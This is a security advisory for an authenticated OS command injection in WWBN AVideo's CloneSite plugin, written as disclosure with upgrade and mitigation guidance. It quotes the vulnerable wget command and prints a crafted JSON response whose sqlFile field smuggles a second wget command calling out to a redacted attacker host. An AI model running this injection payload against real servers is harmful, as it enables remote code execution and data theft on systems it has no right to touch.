Description
WWBN Avideo Authenticated RCE - OS Command Injection
Description
An OS Command Injection vulnerability in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php allows attackers to achieve Remote Code Execution.
Vulnerable code:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
We can control $objClone->cloneSiteURL through the admin panel clone site feature.
/plugin/CloneSite/cloneClient.json.php sends a GET Request to {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. I hosted a specially crafted cloneServer.json.php that prints the following JSON data
{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]}
Send a GET Request to /plugin/CloneSite/cloneClient.json.php then remote code execution is achieved.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update wwbn/avideo to 12.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6vrj-ph27-qfp3 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
